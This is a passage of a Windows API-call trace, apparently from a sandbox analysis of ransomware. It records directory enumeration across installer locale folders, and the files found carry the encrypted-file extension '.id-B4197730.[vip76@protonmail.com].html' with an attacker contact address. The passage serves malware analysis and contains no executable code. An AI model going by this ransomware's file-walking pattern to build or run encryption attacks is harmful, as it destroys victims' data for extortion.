	[0165.634] FindNextFileW (in: hFindFile=0x6abd98, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x81054424, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x81054424, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8107a64c, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x4c58, dwReserved0=0xffffebb0, dwReserved1=0x14c7, cFileName="SetupResources.dll.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="SETUPR~1.HTM")) returned 0
	[0165.634] FindClose (in: hFindFile=0x6abd98 | out: hFindFile=0x6abd98) returned 1
	[0165.635] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4420730 | out: hHeap=0x610000) returned 1
	[0165.635] FindNextFileW (in: hFindFile=0x6abd58, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1033", cAlternateFileName="")) returned 1
	[0165.635] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x4420730
	[0165.635] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1033\\*", lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffebb0, dwReserved1=0x14c7, cFileName=".", cAlternateFileName="")) returned 0x6abc98
	[0165.637] FindNextFileW (in: hFindFile=0x6abc98, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffebb0, dwReserved1=0x14c7, cFileName="..", cAlternateFileName="")) returned 1
	[0165.637] FindNextFileW (in: hFindFile=0x6abc98, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x810c6d11, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x810c6d11, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x810c6d11, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0xd64, dwReserved0=0xffffebb0, dwReserved1=0x14c7, cFileName="eula.rtf.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="EULART~1.HTM")) returned 1
	[0165.637] FindNextFileW (in: hFindFile=0x6abc98, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x810f03d2, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x810f03d2, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x810f03d2, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x12eb6, dwReserved0=0xffffebb0, dwReserved1=0x14c7, cFileName="LocalizedData.xml.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="LOCALI~1.HTM")) returned 1
	[0165.637] FindNextFileW (in: hFindFile=0x6abc98, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x81184176, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x81184176, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x811d39b1, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x4458, dwReserved0=0xffffebb0, dwReserved1=0x14c7, cFileName="SetupResources.dll.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="SETUPR~1.HTM")) returned 1
	[0165.637] FindNextFileW (in: hFindFile=0x6abc98, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x81184176, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x81184176, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x811d39b1, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x4458, dwReserved0=0xffffebb0, dwReserved1=0x14c7, cFileName="SetupResources.dll.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="SETUPR~1.HTM")) returned 0
	[0165.637] FindClose (in: hFindFile=0x6abc98 | out: hFindFile=0x6abc98) returned 1
	[0165.638] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4420730 | out: hHeap=0x610000) returned 1
	[0165.638] FindNextFileW (in: hFindFile=0x6abd58, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1035", cAlternateFileName="")) returned 1
	[0165.638] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x4420730
	[0165.638] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1035\\*", lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffebb0, dwReserved1=0x14c7, cFileName=".", cAlternateFileName="")) returned 0x6aba18
	[0165.639] FindNextFileW (in: hFindFile=0x6aba18, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffebb0, dwReserved1=0x14c7, cFileName="..", cAlternateFileName="")) returned 1
	[0165.639] FindNextFileW (in: hFindFile=0x6aba18, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x81112ffe, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x81112ffe, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x81e3ff67, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0xf64, dwReserved0=0xffffebb0, dwReserved1=0x14c7, cFileName="eula.rtf.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="EULART~1.HTM")) returned 1
	[0165.639] FindNextFileW (in: hFindFile=0x6aba18, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x81d81336, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x81d81336, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x81d81336, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x12dd6, dwReserved0=0xffffebb0, dwReserved1=0x14c7, cFileName="LocalizedData.xml.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="LOCALI~1.HTM")) returned 1
	[0165.640] FindNextFileW (in: hFindFile=0x6aba18, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x81dcd816, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x81dcd816, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x81dcd816, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0xffffebb0, dwReserved1=0x14c7, cFileName="SetupResources.dll.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="SETUPR~1.HTM")) returned 1
	[0165.640] FindNextFileW (in: hFindFile=0x6aba18, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x81dcd816, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x81dcd816, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x81dcd816, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0xffffebb0, dwReserved1=0x14c7, cFileName="SetupResources.dll.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="SETUPR~1.HTM")) returned 0
	[0165.640] FindClose (in: hFindFile=0x6aba18 | out: hFindFile=0x6aba18) returned 1
	[0165.641] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4420730 | out: hHeap=0x610000) returned 1
	[0165.641] FindNextFileW (in: hFindFile=0x6abd58, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1036", cAlternateFileName="")) returned 1
	[0165.641] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x4420730
	[0165.641] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1036\\*", lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffebb0, dwReserved1=0x14c7, cFileName=".", cAlternateFileName="")) returned 0x6abe58
	[0165.642] FindNextFileW (in: hFindFile=0x6abe58, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffebb0, dwReserved1=0x14c7, cFileName="..", cAlternateFileName="")) returned 1
	[0165.642] FindNextFileW (in: hFindFile=0x6abe58, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x8121cf13, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8121cf13, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8121cf13, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0xeb4, dwReserved0=0xffffebb0, dwReserved1=0x14c7, cFileName="eula.rtf.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="EULART~1.HTM")) returned 1
	[0165.642] FindNextFileW (in: hFindFile=0x6abe58, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x81246fb8, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x81246fb8, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x81246fb8, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x14516, dwReserved0=0xffffebb0, dwReserved1=0x14c7, cFileName="LocalizedData.xml.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="LOCALI~1.HTM")) returned 1
	[0165.642] FindNextFileW (in: hFindFile=0x6abe58, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x811d39b1, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x811d39b1, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x811f6ba6, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0xffffebb0, dwReserved1=0x14c7, cFileName="SetupResources.dll.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="SETUPR~1.HTM")) returned 1
	[0165.642] FindNextFileW (in: hFindFile=0x6abe58, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x811d39b1, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x811d39b1, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x811f6ba6, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0xffffebb0, dwReserved1=0x14c7, cFileName="SetupResources.dll.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="SETUPR~1.HTM")) returned 0
	[0165.642] FindClose (in: hFindFile=0x6abe58 | out: hFindFile=0x6abe58) returned 1
	[0165.643] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4420730 | out: hHeap=0x610000) returned 1
	[0165.643] FindNextFileW (in: hFindFile=0x6abd58, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1037", cAlternateFileName="")) returned 1
	[0165.643] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x4420730
	[0165.644] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1037\\*", lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffebb0, dwReserved1=0x14c7, cFileName=".", cAlternateFileName="")) returned 0x6abe18
	[0165.644] FindNextFileW (in: hFindFile=0x6abe18, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffebb0, dwReserved1=0x14c7, cFileName="..", cAlternateFileName="")) returned 1
	[0165.645] FindNextFileW (in: hFindFile=0x6abe18, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x81908bf2, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x81908bf2, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x81908bf2, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x1bb4, dwReserved0=0xffffebb0, dwReserved1=0x14c7, cFileName="eula.rtf.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="EULART~1.HTM")) returned 1
	[0165.645] FindNextFileW (in: hFindFile=0x6abe18, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x8128f77d, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8128f77d, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8128f77d, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x11a86, dwReserved0=0xffffebb0, dwReserved1=0x14c7, cFileName="LocalizedData.xml.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="LOCALI~1.HTM")) returned 1
	[0165.645] FindNextFileW (in: hFindFile=0x6abe18, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x8130badf, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8130badf, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8131a55b, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x4258, dwReserved0=0xffffebb0, dwReserved1=0x14c7, cFileName="SetupResources.dll.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="SETUPR~1.HTM")) returned 1
	[0165.645] FindNextFileW (in: hFindFile=0x6abe18, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x8130badf, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8130badf, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8131a55b, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x4258, dwReserved0=0xffffebb0, dwReserved1=0x14c7, cFileName="SetupResources.dll.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="SETUPR~1.HTM")) returned 0
	[0165.645] FindClose (in: hFindFile=0x6abe18 | out: hFindFile=0x6abe18) returned 1
	[0165.646] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4420730 | out: hHeap=0x610000) returned 1
	[0165.646] FindNextFileW (in: hFindFile=0x6abd58, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1038", cAlternateFileName="")) returned 1
	[0165.646] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x4420730
	[0165.646] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1038\\*", lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffebb0, dwReserved1=0x14c7, cFileName=".", cAlternateFileName="")) returned 0x6abbd8
	[0165.647] FindNextFileW (in: hFindFile=0x6abbd8, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffebb0, dwReserved1=0x14c7, cFileName="..", cAlternateFileName="")) returned 1
	[0165.647] FindNextFileW (in: hFindFile=0x6abbd8, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x812b5874, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x812b5874, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x812b5874, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x1184, dwReserved0=0xffffebb0, dwReserved1=0x14c7, cFileName="eula.rtf.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="EULART~1.HTM")) returned 1
	[0165.647] FindNextFileW (in: hFindFile=0x6abbd8, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x812b5874, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x812b5874, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x812dbabe, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x152a6, dwReserved0=0xffffebb0, dwReserved1=0x14c7, cFileName="LocalizedData.xml.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="LOCALI~1.HTM")) returned 1
	[0165.647] FindNextFileW (in: hFindFile=0x6abbd8, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x8121cf13, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8121cf13, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x815752c2, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0xffffebb0, dwReserved1=0x14c7, cFileName="SetupResources.dll.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="SETUPR~1.HTM")) returned 1
	[0165.648] FindNextFileW (in: hFindFile=0x6abbd8, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x8121cf13, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8121cf13, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x815752c2, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0xffffebb0, dwReserved1=0x14c7, cFileName="SetupResources.dll.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="SETUPR~1.HTM")) returned 0
	[0165.648] FindClose (in: hFindFile=0x6abbd8 | out: hFindFile=0x6abbd8) returned 1
	[0165.649] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4420730 | out: hHeap=0x610000) returned 1
	[0165.649] FindNextFileW (in: hFindFile=0x6abd58, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1040", cAlternateFileName="")) returned 1
	[0165.649] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x4420730
	[0165.649] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1040\\*", lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffebb0, dwReserved1=0x14c7, cFileName=".", cAlternateFileName="")) returned 0x6abd98
	[0165.650] FindNextFileW (in: hFindFile=0x6abd98, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffebb0, dwReserved1=0x14c7, cFileName="..", cAlternateFileName="")) returned 1
	[0165.650] FindNextFileW (in: hFindFile=0x6abd98, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x8135f280, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8135f280, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x81385456, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0xf24, dwReserved0=0xffffebb0, dwReserved1=0x14c7, cFileName="eula.rtf.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="EULART~1.HTM")) returned 1
	[0165.650] FindNextFileW (in: hFindFile=0x6abd98, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x81385456, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x81385456, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x813ab7b6, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x139b6, dwReserved0=0xffffebb0, dwReserved1=0x14c7, cFileName="LocalizedData.xml.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="LOCALI~1.HTM")) returned 1
